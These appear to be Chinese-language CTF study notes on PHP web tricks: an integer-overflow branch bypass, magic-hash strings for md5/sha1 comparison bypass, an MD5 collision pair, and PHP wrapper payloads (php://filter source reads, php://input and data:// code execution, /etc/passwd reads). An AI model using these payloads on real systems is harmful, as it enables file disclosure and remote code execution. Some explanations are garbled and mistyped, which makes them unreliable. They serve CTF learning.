php整数溢出
PHP 数组的索引限制PHP 中数组的最大索引值为PHP_INT_MAX(64 位系统中通常是9223372036854775807),当尝试使用大于这个值的索引时,数组赋值会失败,且赋值表达式返回false。
代码中c操作:
第一次:c] = 1
先将$c递增 1,再作为数组索引
第二次:若进入if分支,会执行c] = 1
再次将$c递增 1
两种参数的执行差异
当c=9223372036854775806时:第一次++c变为9223372036854775807(等于PHP_INT_MAX),此时count[] = 1时,PHP 会尝试将索引设为9223372036854775808(超出最大值),赋值失败,返回false,因此进入else分支执行cat /flag。
当c=9223372036854775807时:第一次++c变为9223372036854775808(超出PHP_INT_MAX),此时count[] = 1时,索引会从 0 开始(因为前序赋值失败导致数组状态异常),赋值成功返回true,进入if分支,无法获取 flag。
md5和sha1
**以下值在md5加密后以0E开头:
- QNKCDZO
- 240610708
- s155964671a
- s214587387a
- s214587387a
**还有MD5和双MD5以后的值都是0e开头的
- CbDLytmyGm2xQyaLNhWn
- CbDLytmyGm2xQyaLNhWn
- 7r4lGXCH2Ksu2JNT3BYM
以下值在sha1加密后以0E开头:
- sha1(‘aaroZmOk’)
- sha1(‘aaK1STfY’)
- sha1(‘aaO8zKZF’)
- sha1(‘aa3OFF9m’)
md5强比较
A = M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%
D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%
B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
B = M%C9h%FF%0E%E3%5C%20%
95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%0
2%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2PHP伪协议
一、file://
作用
用于访问文件(绝对路径、相对路径、网络路径)
示例
http://www.xx.comfile****=file:///etc/passsd
二、php://
作用
访问输入输出流
举例
1.php://filter
作用:读取****源代码并进行base64编码输出
示例:http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=【文件名】(针对php文件需要base64编码)
php://filter/read=string.rot13/resource=flag.txt(不能base64时可以用这个) php://filter/convert.iconv.UTF-8.UTF-7/resource=/flag(另外一种用法,把内容解释为UTF-8后以UTF-7输出)
参数:resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流 read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
2.php://input
作用:执行POST数据中的php代码
示例: **http://127.0.0.1/cmd.php?cmd=php://input
psot传参传入php代码即可
注意:enctype="multipart/form-data" 的候 php://input 是无效的
三、data://
作用:自PHP>=5.2.0起,可以使用data://数据流装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
示例:`http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOy8vPz4=